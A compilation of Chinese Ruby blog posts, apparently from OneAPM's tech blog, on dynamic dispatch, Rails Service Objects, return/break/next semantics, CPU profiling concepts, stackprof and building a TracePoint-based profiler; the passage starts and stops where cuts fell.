如果这些话听起来有些吓人，那是因为事实本就如此！但是这并不是不可能的，正如我最近取得的进展，我也希望正在阅读此文的你也能有所斩获。幸运的是，Ruby提供了很多工具，帮我们将死板的代码实现了元程序化。而问题就在于了解那些工具，并在合适的时机能够使用它。我相信，如果你体验了一次元编程，你肯定会欣喜万分，也许还会像小猫一样发出欢乐的尖叫，我想那将是世上最可爱的事情了。





总结一下


在编写程序时，我们可以使用dynamic dispatching将一个方法传递给对象，而不必指明方法的内容。方法send和 pubic_send都能实现这一点，它们以字符串或符号为参数，并以此参数作为接受对象调用的方法名。

点击这里学习元编程的基本要素，并查看send和pubic_send方法的相关文档。

如果你还好奇其他的动态方法？可以阅读一下这篇博文，其中深度介绍了一部分方法。




本文作者系OneAPM工程师 ，想阅读更多好的技术文章，请访问OneAPM官方技术博客。


 Service Object 整理和小结

作者：darkbaby123

来源： Service Object 整理和小结



                    
TL;DR


这篇文章整理了 Service Object 的一套 Convention，用 PORO 结合 Rails 的功能完成了一个例子，并介绍了一些其他思路。


Why Service Object (Again)?


Service Object 已经不是一个新鲜话题了。从 7 Patterns to Refactor Fat ActiveRecord Models 开始就有不少人尝试照着这些 pattern 从 Rails 项目抽象出各种 object 进行解耦。这些 pattern 也催生了不少 gem ，比如关注 policy 的 Pundit ，关注 form 的 Reform，关注 presenter 的……太多不举例了……


但 Service Object 却很少看到有相关的 gem ，DHH 还跟别人讨论了大半天 service 的话题，看起来每个人对于 Service Object 的理解都有些差别。这是为什么？


我个人的理解是，Service Object 没有一个固定的形态，因为它完全就是业务逻辑的封装。


那讨论还有意义吗？有。因为我们需要它，需要更有效率地使用和讨论它。


Convention over Configuration


说到效率，就不得不提关于 Rails 的核心哲学 Convention over Configuration 。如果你的理解仅仅是用 Convention 省去了配置，那并不是它的全部含义。


Convention 的另一层意义在于，它就是一个最佳实践的表现形式，Rails 本质上是一系列 web 开发中最佳实践的集合体。通过 Convention ，Rails 开发者不仅可以避免为一些琐碎的事情费神，从而去处理真正需要关心的事情。更重要的是，遵循 Convention 的 Rails 项目都长得差不多，这使得 Rails 开发者的经验能够跨项目地重用。而且开发者互相交流起来天生就在一个频道上。We are on the same page !


但真正的项目千差万别，Rails 为我们做的毕竟有限，在没有 Convention 覆盖到的地方，开发者的理解就各有千秋了。Service Object 就是其中最典型的例子。有自己想法的人自然可以不拘泥于形式，但也有不少人在疑惑 “怎么才算 Service Object” 和 “如何更好地实现 Service Object” ？


这篇文章推荐了一些 Service Object 的 Convention ，来自 这篇文章 和 这篇文章。


Service Object & Convention


简单的说，Service Object 是用对象来封装一段操作。通常情况下我们用它封装业务逻辑 。关于什么情况下该使用 Service Object ，7 patterns 里的话我觉得已经总结得很好了。



	操作逻辑很复杂。

	操作涉及到多个 model。

	操作涉及到调用外部服务。

	操作不是 model 该关注的逻辑（比如定时清理过期数据）。

	操作涉及到一系列不同的具体实现（比如用 token 认证或者 password 认证），策略模式就是干这个的。



因为和业务逻辑比较接近，Service Object 通常用在 Controller 中，但也可以单独使用（比如在 job ， console 或者其他 Service Object 中嵌套使用）。


Service Object 的一些简单的约定：



	一个 Service Object 只做一件事。

	每个 Service Object 一个文件，统一放在 app/services 目录下。

	命名采用动作，比如 SignEstimate ，而不是 EstimateSigner 。

	instance 级别实现两个接口，initialize 负责传入所有依赖，call 负责调用。

	class 级别实现一个接口 call ，用于简单的实例化 Service Object 然后调用 call 。

	
call 的返回值默认为 true/false ，也可以有更复杂的形式，比如 StatusObject 。



以上这些只是约定，不是必须遵循的规范。比如你可以叫 SignEstimateService，把 call 改成 invoke，execute，perform 或者其他你喜欢的。但记住 如果没有特殊的理由，请让你的所有 Service Object 保持一致的约定 。


一个 Service Object 的例子：


ruby# app/services/sign_estimate.rb
class SignEstimate
  def self.call(*args)
    new(*args).call
  end

  def initialize(estimate, params)
    @estimate = estimate,
    @params = params
  end

  def call
    # Do whatever you want
    # Return true/false
  end
end



如何使用它：


rubyclass EstimatesController
  # POST /estimates/:id/sign
  def sign
    @estimate = Estimate.find(params[:id])

    if SignEstimate.call(@estimate, estimate_params)
      # Do something like redirect
    else
      # Display errors
    end
  end
end



With Rails's help


Service Object 就是一个纯粹的 Ruby Object （PORO），但这不代表我们不能复用 Rails 已有的功能。我一直觉得为了开发便利，可以视情况增加 MVC 之外的层，但如果抛弃 Rails 已有的东西就本末倒置了，比如没必要为了建一个 Form Object 而把 Model 层的 validation 全部扔到 Form Object 里面去。


上个例子里的 SignEstimate 是我自己项目中的例子，实际使用时我会需要对 Estimate 这个 Model 做额外的 validation ，但我不希望把这些逻辑放到 Model 层去，因为它们只有在 Sign 这个过程中有用 。所以我会用到 ActiveModel 。


另外，因为约定中每个 Service Object 中都有类方法 call 。我们可以把它单独抽出来变成一个 Concern 。我比较喜欢用组合的方式，你也可以用继承来实现。


rubymodule Serviceable
  extend ActiveSupport::Concern

  class_methods do
    def call(*args)
      new(*args).call
    end
  end
end

class SignEstimate
  include Serviceable
  include ActiveModel::Model
  include ActionLoggable

  attr_reader :estimate

  delegate :signer_name,
           :sign_via,
           :signer_driver_lic,
           :signer_ssn,
           :errors,
           to: :estimate

  validates :signer_name, presence: true
  validates :sign_via, inclusion: { in: %w[driver_lic ssn] }
  validates :signer_driver_lic, presence: true, if: :sign_via_driver_lic?
  validates :signer_ssn, presence: true, if: :sign_via_ssn?

  def initialize(estimate, params)
    @estimate = estimate,
    @params = params
  end

  def call
    valid? && persist
  end

  private

  def persist
    @estimate.transaction do
      sign_estimate!
      close_sales_lead!
      transform_prospect_to_customer!
      copy_forms!
    end
    create_activity
    write_log('sign_est', resource: @estimate, operator: @estimate.assigned_to)
    true
  rescue ActiveRecord::RecordInvalid
    false
  end

  def sign_via_driver_lic?
    sign_via == 'driver_lic'
  end

  def sign_via_ssn?
    sign_via == 'ssn'
  end
end



有些方法是纯粹的业务逻辑，具体实现就不写了。这里我用了以下 Rails 的功能：



	
ActiveSupport::Concern 来抽离 Service Object 的公共接口。

	
ActiveModel::Model 来做校验，你也可以只要 ActiveModel::Validations。

	
delegate 方法来代理需要验证的字段和 errors 接口。这样添加的错误就自动给 @estimate 了。

	
ActionLoggable 是我自己写的 Concern ，用来添加一些操作日志，生成报表用。



统一的约定可以方便抽离接口，PORO 可以方便我添加任何其他东西，不用考虑继承了什么类带来的 side effect 。而且易于理解和修改。


Status Object as Return Value


这篇文章 的作者也提到了返回值的约定。一个有意思的概念是，当需要返回的内容比较复杂时（操作失败返回错误信息），可以抽象出一个 Object 去封装返回值，这就是 Status Object 。它定义了一个 success? 接口来判断操作是否成功，其他的信息就由各人自己 DIY 了。


rubyclass Success
  attr_reader :data

  def initialize(data)
    @data = data
  end
end

class Error
  attr_reader :error

  def initialize(error)
    @error = error
  end
end



你也可以用自己的方法来 one liner


rubySuccess = Struct(:data) { def success?; true; end }
Error = Struct(:error) { def success?; false; end }



怎么用呢：


rubydef call
  if valid?
    # Dirty business logic...
    Success.new(@estimate)
  else
    Error.new("customized error message")
  end
end



我目前没有用到 Status Object 的必要，所以没有深入的例子。感兴趣的可以参考作者原文的例子，他在 AuthorizationError 里带了 code 和 message ，方便 Controller 做针对性的操作。


Service Object 的构建很灵活，你可以想出最符合自己习惯的用法，形成约定。但记住 不要为了 pattern 而 pattern ，在满足要求的同时，尽量保持简单，重用 Rails 已有的功能，提高效率 。


Testing


Service Object 的所有依赖都是在初始化的时候注入的，所以也可以很方便地使用 double 或者 Fake Object 来伪造对象，隔离依赖。


但根据我的实际经验，大部分 Service Object 都要跟 Model 层打交道，建议这种情况下全部用真实的 Model 对象，不要 Mock/Stub 。


因为 Service Object 的存在必然会抽走一部分的 Model 逻辑。Model 中也许就只剩下比较简单的 validation, callback 和自定义方法了（比如关联保存 relationship，我不大喜欢 autosave）。这时候 Model 的 Unit Test 实际上是不足以保证数据库层面的功能正确的。如果 Service Object 都 Mock 了，那么保证功能的正确性就要靠 Integration Test 了。测试是为了保证系统稳定性的，为了一些速度降低稳定性不值得。


Another Way


刚才的 Service Object 是一种思路，但并不是没有其他的方法去抽离业务逻辑。这里是我在学习过程中看到的一些其他 gem 。都可以达到相同的目的。我最终没用只是因为觉得这些 gem 的理念不太符合。不代表它们不好。


ActiveType


ActiveType 的理念是尽量利用 ActiveRecord 的 lifecycle，你可以写一个自己的 Object ，但是像 Model 一样把逻辑封装进 validation 和 callback，从而让自定义的 Object 有和 ActiveRecord 一样的接口和使用方式。


这是我在 Growing Rails Applications in Practice 一书里看到的。里面提倡的一点就是把所有接口 CRUD 化，接口统一了之后就容易做更高层次的抽象。这个理念还是值得学习的。如果你没看过这本书，强烈建议看一看。


有人会疑惑为什么不用 ActiveModel 自己造？因为有太多的东西仍然在 ActiveRecord 里面。有些看似简单的需求很难实现，比如 save 之前调用你的 Object 的 validation 和内部的 Model 的 validation。 如果你想自己写一个 Object 并沿袭 ActiveRecord 的接口，你需要做不少事情，但最终会发现自己仿造 ActiveRecord 写了一个 Object 。可能还有各种问题……


上面的 Service Object 用 ActiveType 写，可能就是这个样子：


rubyclass SignEstimate < ActiveType::Record[Estimate]
  validates :signer_name, presence: true
  validates :sign_via, inclusion: { in: %w[driver_lic ssn] }
  validates :signer_driver_lic, :signer_state, presence: true, if: :sign_via_driver_lic?
  validates :signer_ssn, presence: true, if: :sign_via_ssn?

  before_save :set_sign_date
  after_save :close_sales_lead
  after_save :transform_prospect_to_customer
  after_save :copy_forms

  after_commit :create_activity, on: :update
  after_commit :write_log, on: :update

  after_rollback :clear_sign_info
end



这种 Service Object 在 Controller 中就跟 Model 一样用。喜不喜欢这种思路就见仁见智了。


Wisper


Wisper 是一个以 pub/sub 为理念的 gem ，主张用 event + callback 的方式解耦。我是在搜索 “为什么 Rails observer 被废掉了” 的过程中偶然找到这个 gem 的。它同样可以用来解耦业务逻辑。


我个人不喜欢这种方式。因为有 callback 的代码很难被外层 Object 封装，比如官方的 Controller 例子很难抽象成统一的接口，进而使用 respond_with 。


不管怎么样，我想作为一个 900+ stars 的 gem 它还是很成功的。也许它是 observer 的一个很好的替代品。


Conclusions


Service Object 是 Rails 开发者回归 OO 方式思考的结果之一。它并不违反 Rails way，我们也没必要把任何操作都封装成 Service Object。解决方案通常是跟适用场景息息相关的，No silver bullet 。作为 Rails 开发者，充分利用它的优势加上适当地拥抱变化，可以让人走的更远。
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return，break，next 这几个关键字的使用都涉及到跳出作用域的问题，而他们的不同 则在于不同的关键字跳出去的目的作用域的不同，因为有代码块则导致有一些地方需要格外注意。


return


常用方式


通常情况下的return语句和大家理解的意思是相同的。


Rupydef m1 param
  if param == 1
    return 'returned 1'
  end
  'returned default value'#根据Ruby语言规范，最后一条执行语句的结果将作为返回值返回，retu rn是可选的
end

m1(1) # => returned 1
m1(2) # => returned default value



在有异常捕获的ensure时，情况会稍有不同：


def m1
  'return default'
ensure
  puts 'I am sure that it will be here!'
end

m1 # => return default



像这种情况，在ensure语句之前，无论是否显示用return来返回，m1方法都会返回ensure之前的值， ensure语句只是确保之后的代码块puts 'I am sure that it will be here!'执行，但是不会从这里返回。 如果在 ensure 语句中显示的用return来返回值时，情况就不一样了。示例如下：


def m1
  return 'return default'
ensure
  return 'I am sure that it will be here!'
end

m1 # => I am sure that it will be here!



无论在ensure之前是否显示返回，都只会返回ensure之后的值。


在有代码块干预的情况下，又会有所不同：


def m1
  p 'start ... '
  proc do
    p 'block start'
    return
    p 'block end'
  end.call
  p 'end ... '
end

m1

# 输出结果：
#
# "start ... "
# "block start"



这个应该是在预料之中的，再看下一个：


def m1
  p 'start ... '
  -> do
    p 'block start'
    return
    p 'block end'
  end.call
  p 'end ... '
end

m1

# 输出结果：
#
# "start ... "
# "block start"
# "end ... "



这里多了一行"end ... "，原因何在？这就是 Proc 和 Lambda 最大的区别，在他们之中的return 语句跳出去的目的作用域不同，Proc 会直接跳出整个方法的调用，而 Lambda 只会跳出自身的作用域， 返回到方法中继续执行，这一点需要格外注意。（在break 中，Proc 和 Lambda 的跳出方式和 return 是一样的，后面就不再赘述了。）


break


先来看一个简单的小例子：


result = [1, 2, 3, 4, 5].map do |i|
  i * 2
end

p result # => [2, 4, 6, 8, 10]



这个没什么奇怪的，那么看看下面这个，来猜猜它的输出结果是什么？


result = [1, 2, 3, 4, 5].map do |i|
  break if i > 3
  i * 2
end
# FLAG
p result



是[1, 2, 3, nil, nil]？还是[1, 2, 3]？还是什么？答案是nil，因为执行break后，直接跳到了FLAG ，也就是跳出了map方法，而map方法中的语句并没有执行完，导致没有任何返回值，为了验证这个想法是正确的，我们 可以利用Ruby语言的break可以带返回值的特性来验证一下：


result = [1, 2, 3, 4, 5].map do |i|
  break 'returned break' if i > 3
  i * 2
end

p result # => "returned break"



这里可以证明我们的猜测是正确的。虽然上面说明了这个问题，但是应该还不是非常容易理解，我们自己定义 一个代码块，再来说明一下：


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in block in m1 ... "
# "end in m2 ... "
# "end in m1 ... "



然后我们在 m1 中的 block 中添加break，来看看执行结果：


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    break
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in m1 ... "



可以看到代码块的最后一行代码没有执行，m2 的最后一行也没有执行，就是因为这一行没有执行，导致 break的第二个例子中的 map 没有返回任何值。总结一下，代码块中的break会直接跳出调用的方法（m2）， 而在声明代码块的方法（m1）中继续执行此方法（m1）中剩下的语句。


next


next 关键字类似其他语言中的continue，它的工作方式基本和continue类似。


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    next
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in m2 ... "
# "end in m1 ... "



只是略过了代码块的最后一行代码，这就是next的工作方式了。我们再来看看break的那个例子如果 用next来写，看看结果是什么？如果你完全理解了上面所写的，相信你已经能在大脑中计算出结果了：


result = [1, 2, 3, 4, 5].map do |i|
  next if i > 3
  i * 2
end

p result # => [2, 4, 6, nil, nil]



next语句也能带返回值：


result = [1, 2, 3, 4, 5].map do |i|
  next 'next' if i > 3
  i * 2
end

p result # => [2, 4, 6, "next", "next"]



其他


对于return，在方法中，代码块中都可以使用，而break和next只能在代码块中使用（循环结构中也可以使用，但是一般它也是用代码块的形式来表示），如果在方法中调用两者会提示语法错误，也就是：


def m1
  return # OK
  break  # Invalid break, compile error (SyntaxError)
  next   # Invalid next, compile error (SyntaxError)
end



结论


return 大部分情况下和其他语言无异，需要注意在ensure以及Proc和Lambda两种不同的 代码块中的细节问题。


break 在有方法嵌套调用中的代码块中需要注意，它总是返回到调用代码块方法的方法中（有点绕）。


next 最老实，基本不需要注意什么。


最后就是，不只是return能返回值，break和next都能返回值。




本文作者系OneAPM 工程师李哲 ，想阅读更多好的技术文章，请访问OneAPM 官方技术博客。
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作者：OneAPM蓝海讯通
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【编者按】原文作者 Emil Soman，Rubyist，除此之外竟然同时也是艺术家，吉他手，Garden City RubyConf 组织者。本文是DIY Ruby CPU Profiling 的第一部分，由 OneAPM 工程师编译整理。

原文链接：http://crypt.codemancers.com/posts/2015-03-06-diy-ruby-cpu-profiling-part-i





在 Codemancers，我们正在建设 Rbkit——一个针对 Ruby 语言的——拥有新炫酷功能的代码分析器。我目前正在实现一个嵌在 rbkit gem 里的 CPU 分析器，这将有助 rbkit UI 重建分析 Ruby 进程调用图，并在屏幕上得出有用的可视化展示。在这个过程中，我学到了许多新东西，很乐意在本系列的博客文章中与您分享。

我们打算一步一步从基础开始，专门为 Ruby 编写一个初级的 CPU 分析器！在完成时我们将学到：


	什么是 CPU 分析


	分析模式——工具和采样


	CPU Time 和 Wall Time ——它们分别是什么意思，如何测量？


	写一个简单的 C 扩展并用于 Ruby 中


	Ruby Tracepoints——调用和返回


	C 语言中的信号处理


	用一个信号暂停 Ruby 进程并用调用堆查看


	用分析数据进行一些有用但笨拙的试验




Part I. 介绍 CPU 分析

通过对你的程序进行 CPU 分析，可以发现相较于 CPU 使用率，你的程序是多么宝贵。为了分析程序，你需要使用一个分析工具并按照下列步骤操作：


	开始 CPU 剖析


	执行你想要分析的代码


	停止 CPU 剖析并得到剖析结果


	分析结果


	通过分析剖析结果，你会发现使整个程序缓慢的瓶颈。




分析模式

CPU 剖析可以分为以下两种方法：

1. 工具

在这种模式下，分析工具利用一些 hooks，由解释器提供或者插入程序中，来了解调用图并测量在调用图中每个方法的执行时间。举个例子，看一下下面这段 Ruby 代码：

def main
3.times do
find_many_square_roots
find_many_squares
end
end


def find_many_square_roots
5000.times{|i| Math.sqrt(i)}
end

def find_many_squares
5000.times{|i| i**2 }
end

main


我已经插入了一些内容，来帮助了解如果 Ruby 解释器给了我们方法的调用和返回的 hooks，它们如何执行：

def main
# method call hook gets executed
3.times do
find_many_square_roots
find_many_squares
end
# method end hook gets executed
end

def find_many_square_roots
# method call hook gets executed
5000.times{|i| Math.sqrt(i)}
# method end hook gets executed
end

def find_many_squares
# method call hook gets executed
5000.times{|i| i**2 }
# method end hook gets executed
end

main


现在，如果我们能够打印出当前时间和这些 hooks 内部当前方法的名称，会得到看起来像这种形式的输出结果：

sec:00 usec:201007    called      main
sec:00 usec:201108    called      find_many_square_roots
sec:00 usec:692123    returned    find_many_square_roots
sec:00 usec:692178    called      find_many_squares
sec:00 usec:846540    returned    find_many_squares
sec:00 usec:846594    called      find_many_square_roots
sec:01 usec:336166    returned    find_many_square_roots
sec:01 usec:336215    called      find_many_squares
sec:01 usec:484880    returned    find_many_squares
sec:01 usec:484945    called      find_many_square_roots
sec:01 usec:959254    returned    find_many_square_roots
sec:01 usec:959315    called      find_many_squares
sec:02 usec:106474    returned    find_many_squares
sec:02 usec:106526    returned    main


正如你所看到的，此输出可以告诉我们在每一种方法里面花了多长时间。同时也告诉我们，每一个方法调用的次数。这大概就解释了性能分析工具是如何工作的。

优点：


	高精度


	我们得到了方法调用数


	易于实施




缺点：

	每个被分析的方法执行 hooks 时的额外开销




2. 采样

在采样模式下，分析器每隔 x 时间单元打断一次程序，并查看调用堆并记录它的信息（被称为“样品”）。一旦该程序完成运行，分析器收集所有样品并找出每个方法出现在所有样品中的次数。
很难想象？让我们来看看同样的例子代码，看看如果我们使用采样分析器，输出结果会有怎样的不同。
采样分析器的输出结果如下：

Call stack at 0.5sec: main/find_many_square_roots
Call stack at 1.0sec: main/find_many_square_roots
Call stack at 1.5sec: main/find_many_square_roots
Call stack at 2.0sec: main/find_many_squares


在这个例子中，程序每 0.5 秒被中断一次并且调用堆栈被记录。因此，通过这个程序执行的过程我们得到了 4 个样品，find_many_square_roots 记录于 3 个样品中， find_many_squares 只存在于一个样品中。从本次采样中，我们得到 find_many_square_roots 占用了 75％ CPU，与此同时 find_many_squares 只占用了 25％ 的 CPU 。这就大概解释了分析器是怎么样工作的。

优点：


	与工具分析相比开销可忽略不计


	很容易找到缓慢/长时间运行的方法




缺点：


	不擅长测量短时间运行的方法


	我们没有得到方法调用数


	很难自己写出采样分析器




概括

我们只是调查了 CPU 分析的含义和两种常用的 CPU 分析方法。在第 2 部分，我们将探讨对描述 CPU 使用情况的 2 个单位进行测量—— CPU Time 和 Wall Time。我们也会亲手写一些代码来获取进行测量。感谢您的阅读！



OneAPM for Ruby 能够深入到所有 Ruby 应用内部完成应用性能管理和监控，包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。 想阅读更多技术文章，请访问 OneAPM 官方博客。


 Ruby Profiler 详解之 stackprof

作者：OneAPM蓝海讯通

来源： Ruby Profiler 详解之 stackprof



                    
简介


stackprof 是基于采样的一个调优工具，采样有什么好处呢？好处就是你可以线上使用，按照内置的算法抓取一部分数据，只影响一小部分性能。它会产生一系列的 dump 文件，然后你在线下分析这些文件，从而定位出问题，google 有一篇基于采样的论文，也基本证明了采样是可行的。而 stackprof 也是深受 google 的 perftools 的影响，采用了采样的方式来做调优。


基本使用方法


StackProf.run(mode: :cpu, out: './stackprof.dump') do
  # 你的代码
end



这里我们给出一段示例代码，来作为测试目标：


require "stackprof"

class Compute

  def m1
    "string" * 100
  end

  def m2
    "string" * 10000
  end

  def start
    100_000.times do
      m1
      m2
    end
  end
end

StackProf.run(mode: :cpu, out: './stackprof.dump') do
  Compute.new.start
end



保存为test.rb，同时执行 ruby test.rb 就会在当前目录下生成 stackprof.dump 文件，我们用 stackprof 打开这个文件：


stackprof stackprof.dump --text



==================================
  Mode: cpu(1000)
  Samples: 1793 (0.61% miss rate)
  GC: 587 (32.74%)
==================================
     TOTAL    (pct)     SAMPLES    (pct)     FRAME
      1106  (61.7%)        1106  (61.7%)     Compute#m2
        98   (5.5%)          98   (5.5%)     Compute#m1
      1206  (67.3%)           2   (0.1%)     block in Compute#start
      1206  (67.3%)           0   (0.0%)     <main>
      1206  (67.3%)           0   (0.0%)     Compute#start
      1206  (67.3%)           0   (0.0%)     <main>
      1206  (67.3%)           0   (0.0%)     block in <main>



这里可以很明显的看出是 m2 方法比较慢，占据了大部分的执行时间，相比其他的调优工具，它只是列出了用户自己的方法所占时间比，在 ruby-prof 中的测试中，它是会显示String#*这个方法的占比的，但是对于我们来说，它的意义不大，而 stackprof 是不会理会标准库里的方法的。同时 stackprof 也是可以过滤方法的，比如我们发现了 m2 这个方法有问题，那么就可以把它过滤出来，看看细节：


stackprof stackprof.dump --text --method 'Compute#m2'

Compute#m2 (/Users/lizhe/Workspace/ruby-performance-tuning/test.rb:9)
  samples:  1106 self (61.7%)  /   1106 total (61.7%)
  callers:
    1106  (  100.0%)  block in Compute#start
  code:
                                  |     9  |   end
 1106   (61.7%) /  1106  (61.7%)  |    10  |
                                  |    11  |   def start



我们可以看到 m2 这个方法定义在哪一个文件的哪一行，同时是谁调用了它，以及还显示了它在源码中的上下文。假如有多个方法调用了 m2 ，还会显示出这几个方法，以及他们调用 m2 所占的比例，也就是上面的 callers 部分，因为只有一个 start 方法调用了 m2，所以它是 100% 。


在rack中的使用方法


stackprof 本身实现了一个 rack middleware ，所以可以很方便的挂载到一个 rack 应用中：


use StackProf::Middleware, enabled: true, mode: :cpu, save_every: 5



在 rails 中使用，先在 Gemfile 中添加 stackprof ，然后添加 middleware ：


config.middleware.use StackProf::Middleware, enabled: true, mode: :cpu, save_every: 5



然后请求你的应用，多请求几次，每5秒钟它会保存一次输出结果到tmp目录中，查看其中某一个结果：


==================================
  Mode: cpu(1000)
  Samples: 155 (0.00% miss rate)
  GC: 11 (7.10%)
==================================
     TOTAL    (pct)     SAMPLES    (pct)     FRAME
        18  (11.6%)          18  (11.6%)     Hike::Index#entries
        12   (7.7%)          12   (7.7%)     Hike::Index#stat
         9   (5.8%)           9   (5.8%)     #<Module:0x007fb72a0c7b08>.load_with_autoloading
        18  (11.6%)           9   (5.8%)     Sprockets::Cache::FileStore#[]
         6   (3.9%)           6   (3.9%)     block (2 levels) in BindingOfCaller::BindingExtensions#callers
         5   (3.2%)           5   (3.2%)     Time.parse
         5   (3.2%)           5   (3.2%)     Sprockets::Mime#mime_types
         5   (3.2%)           5   (3.2%)     Pathname#chop_basename
         4   (2.6%)           4   (2.6%)     block in ActionView::PathResolver#find_template_paths
         4   (2.6%)           4   (2.6%)     block in BetterErrors::ExceptionExtension#set_backtrace
        15   (9.7%)           3   (1.9%)     block in ActiveSupport::Dependencies#load_file
         2   (1.3%)           2   (1.3%)     Temple::Mixins::CompiledDispatcher::DispatchNode#initialize
         5   (3.2%)           2   (1.3%)     ActionDispatch::Cookies::EncryptedCookieJar#initialize
         2   (1.3%)           2   (1.3%)     ActiveSupport::KeyGenerator#generate_key
         2   (1.3%)           2   (1.3%)     block in ActionView::PathResolver#query
         4   (2.6%)           2   (1.3%)     Slim::Parser#initialize
       113  (72.9%)           2   (1.3%)     ActionView::Renderer#render_template
         2   (1.3%)           2   (1.3%)     Hike::Trail#stat
         2   (1.3%)           2   (1.3%)     block in ActiveSupport::Dependencies#search_for_file
        22  (14.2%)           2   (1.3%)     block in Temple::Filters::MultiFlattener#on_multi
        20  (12.9%)           2   (1.3%)     Temple::Filters::ControlFlow#dispatcher
        15   (9.7%)           2   (1.3%)     ActionView::Renderer#render_partial
         1   (0.6%)           1   (0.6%)     block in Slim::Parser#initialize
         1   (0.6%)           1   (0.6%)     Pathname#prepend_prefix
         1   (0.6%)           1   (0.6%)     String#blank?
         1   (0.6%)           1   (0.6%)     ActiveSupport::SafeBuffer#initialize
        10   (6.5%)           1   (0.6%)     Sprockets::Asset#dependency_fresh?
         1   (0.6%)           1   (0.6%)     Sprockets::Asset#init_with
         1   (0.6%)           1   (0.6%)     Hike::Index#sort_matches
         1   (0.6%)           1   (0.6%)     block in ActiveSupport::Dependencies::Loadable#require



可以利用这样的方式调试线上的环境。


参考链接



	https://github.com/tmm1/stackprof





本文系 OneAPM 工程师李哲原创文章。想阅读更多技术文章，请访问 OneAPM 官方技术博客。


 DIY Ruby CPU 分析 Part III

作者：OneAPM蓝海讯通

来源： DIY Ruby CPU 分析 Part III



                    
【编者按】作者 Emil Soman，Rubyist，除此之外竟然同时也是艺术家，吉他手，Garden City RubyConf 组织者。本文是 DIY Ruby CPU Profiling 的第二部分。本文系 OneAPM 工程师编译整理。

原文链接：http://crypt.codemancers.com/posts/2015-04-15-diy-ruby-cpu-profiling-part-iii/





在第一部分我们了解到仪表分析器如何工作，在第二部分我们学习到如何使用 CPU time 和 Wall time 测量执行时间。建议在继续学习之前先阅读一下那些内容。本章我们将应用学到的目前为止知识做一个很基础的仪表 CPU 分析器。

Part III. DIY 仪表 CPU 分析器

Ruby 的仪表盘

在第一部分，我们学到了仪表分析工具利用能够被分析工具安装或由语言自身提供的 hooks 来工作。幸运的是，Ruby 早就拥有这些 hooks 并且提供纤巧的TracePoint类来使用这些 hooks。

TracePoint API

执行代码时，Ruby VM 发送一系列事件到不同的节点。Ruby 允许利用TracePoint类进行事件回调。TracePoint的 API 文档列出了所有可以监听的事件，但我们只对下面两个感兴趣：


	：call,当 Ruby 方法调用时被触发。


	:return, 当 Ruby 方法返回时被触发。




我们可以通过TracePoint.new方法创造 tracepoint 对象并传递一个事件类型进行监听，同时传递部分在事件触发时执行的代码。下面是为:call和：return事件创造 tracepoint 的代码。

trace = TracePoint.new(:call, :return) do |trace|
  puts "Method: #{trace.method_id}, event: #{trace.event}"
end

被传到回调代码块的参数trace使你能够访问一系列 tracepoint 的属性，通过它们更加了解被触发的事件。举个例子，我们需要通过method_id属性得到 method name，通过event属性得到被触发的事件名。上文提到的回调代码块中将显示出方法名和被触发的事件类型，每一次都会伴随着 Ruby 方法的调用或返回。

建立 tracepoint 之后，需要将其变成可用状态：

trace.enable

一旦 tracepoint 变成可用状态，我们便可以创建方法对它进行调用，并且看我们出发的回调命令是否被执行。

def hello
end

hello

#=> Method: hello, event: call
#=> Method: hello, event: return

不错，我们的回调命令如预期的一样被执行了两次。

diy_prof gem

最后我们将结合之前学过的东西创造一个 RubyGem，并将这个 gem 命名为 diy_prof. 关于此 gem 的资源放在 github 上。

现在我们就用 bundler 来建造这个 gem：

bundle gem diy_prof

这就造出了我们将要做的项目的骨架。接着，我们将建立在 Part II 中介绍过的包含cpu_time和wall_time方法的 TimeHelpers模块：

# lib/diy_prof/time_helpers.rb

module DiyProf::TimeHelpers
  # These methods make use of `clock_gettime` method introduced in Ruby 2.1
  # to measure CPU time and Wall clock time.

  def cpu_time
    Process.clock_gettime(Process::CLOCK_PROCESS_CPUTIME_ID, :microsecond)
  end

  def wall_time
    Process.clock_gettime(Process::CLOCK_MONOTONIC, :microsecond)
  end
end

我们还需要请求 gem 主文件中的这个文件lib/diy_prof.rb：

# lib/diy_prof.rb

require 'diy_prof/version'
require 'diy_prof/time_helpers'
# Rest of the original file ..

下一步，当一个:call或return事件发生时，我们将通过 gem 里的 TracePoint API 来显示时间。

module DiyProf
  class Tracer
    include TimeHelpers

    def initialize(clock_type: :cpu)
      @tracepoint = TracePoint.new(:call, :return) do |trace|
        time = clock_type == :wall ? wall_time : cpu_time
        printf("%-20s:%-20s%-20s\n", time, trace.event, trace.method_id)
      end
    end
    def enable
      @tracepoint.enable
    end

    def disable
      @tracepoint.disable
    end
  end
end

同时，我们需要再一次调用这个 gem 主文件中的文件：

# lib/diy_prof.rb

require 'diy_prof/version'
require 'diy_prof/time_helpers'
require 'diy_prof/tracer'
# Rest of the original file ..

现在，让我们来写一个例子脚本来测试至今为止创造了什么。我们将使用在 Part I 中见过的那个例子：

# examples/demo.rb

$:<< File.join(File.dirname(__FILE__), "../lib")
require 'diy_prof'

### Begin sample program ###
def main
  3.times do
    find_many_square_roots
    find_many_squares
  end
end

def find_many_square_roots
  5000.times{|i| Math.sqrt(i)}
end

def find_many_squares
  5000.times{|i| i**2 }
end
### End sample program ###

tracer = DiyProf::Tracer.new(clock_type: :cpu)
tracer.enable
main
tracer.disable

如果运行了以上 Ruby 程序，我们将得到下列结果：

70508               :return              enable
70587               :call                main
70604               :call                find_many_square_roots
73225               :return              find_many_square_roots
73256               :call                find_many_squares
74527               :return              find_many_squares
74562               :call                find_many_square_roots
77042               :return              find_many_square_roots
77064               :call                find_many_squares
